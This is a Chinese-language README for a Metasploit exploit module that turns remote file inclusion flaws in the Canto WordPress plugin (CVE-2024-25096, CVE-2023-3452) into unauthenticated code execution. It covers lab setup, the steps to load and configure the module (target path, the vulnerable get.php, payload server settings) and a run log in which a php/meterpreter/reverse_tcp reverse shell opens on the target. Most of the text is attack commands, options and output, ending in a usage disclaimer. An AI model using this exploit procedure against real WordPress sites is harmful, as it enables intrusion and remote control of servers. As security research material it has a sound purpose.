
这是一个针对 CVE-2024-25096 和 CVE-2023-3452 的 Metasploit 漏洞利用模块
此漏洞利用是对 RFI 漏洞 CVE-2024-25096 和 CVE-2023-3452 的概念验证,可使攻击者在目标上建立交互式远程 Shell 会话。
CVE-2024-25096 滥用了 abspath 参数,通过 include_once 语句实现远程文件包含。
CVE-2023-3452 的过程相同,不同之处在于 wp_abspath 参数通过 require_once 语句实现远程文件包含。
这允许攻击者在目标服务器上执行未经认证的代码。
尽管漏洞数据库将 CVE-2023-3452 列为影响版本至 3.0.4,但测试证实该漏洞在 3.0.6 版本上仍可利用。 该问题在 3.0.7 版本中得到修复,该版本也修复了 CVE-2024-25096。
目标存在漏洞需要满足以下条件:
allow_url_include=On克隆此仓库并下载 canto 插件
请注意,如果您想下载 Canto 的早期版本,只需复制链接并将链接中的版本号更改为您想要的版本即可。
使用 podman-compose up 命令启动容器 (docker-compose.yaml)。
在您选择的浏览器中打开 http://localhost:8889/wp-admin/install.php 并设置 WordPress 账户。

登录后,您可以在插件 -> 安装插件 -> 上传插件标签下选择并安装 canto zip 文件。

将漏洞利用模块 (rce_exploit_cve_2024_25096.rb) 添加到 Metasploit 模块文件夹。
启动 Metasploit (msfconsole) 并重新加载 Metasploit (reload_all)。
选择载荷。
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
设置所需变量的值
模块选项 (exploit/rce_exploit_cve_2024_25096):
名称 当前设置 必需 描述
---- --------------- -------- -----------
Proxies 否 代理链,格式:type:host:port[,type:host:port][...]。支持的代理:sapni、socks4、socks5、http、socks5h
RHOSTS 127.0.0.1 是 目标主机,参见 https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8889 是 端口
SRVHOST 0.0.0.0 是 本地监听主机或网络接口。必须是本地机器上的地址,或 0.0.0.0 以监听所有地址。
SRVPORT 8080 是 本地监听端口。
SSL false 是 使用 SSL
SSLCert 否 自定义 SSL 证书路径(默认为随机生成)
TARGETFILE get.php 是 存在漏洞的 PHP 文件
TARGETURI /wp-content/plugins/canto 是 canto 根目录路径
URIPATH 否 用于此漏洞利用的 URI(默认为随机)
VHOST 否 HTTP 服务器虚拟主机
载荷选项 (php/meterpreter/reverse_tcp):
名称 当前设置 必需 描述
---- --------------- -------- -----------
LHOST 192.168.178.58 是 监听地址(可指定接口)
LPORT 4444 是 监听端口
漏洞利用目标:
ID 名称
-- ----
0 WordPress 插件版本 <= 3.0.6
使用 info 或 info -d 命令查看完整模块信息
运行漏洞利用,祝你好运 ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] 已启动反向 TCP 处理器 192.168.178.58:4444
[*] 正在启动 HTTP 服务器...
[*] 使用的 URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] 触发 RFI...
[*] 发送 admin.php 载荷
[*] 发送阶段 (42137 字节) 到 192.168.178.58
[*] Meterpreter 会话 2 已打开 (192.168.178.58:4444 -> 192.168.178.58:54310) 于 2026-03-01 20:15:23 +0100
[*] 服务器已停止。
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
本项目仅用于教育和安全研究目的。
作者不鼓励或纵容任何非法活动。未经许可使用此代码攻击系统是严格禁止的。
作者不对本软件的任何误用或造成的损害负责。用户有责任确保遵守所有适用的法律法规。
请仅在获得明确许可的环境中使用此代码,例如实验室环境、渗透测试项目或安全研究。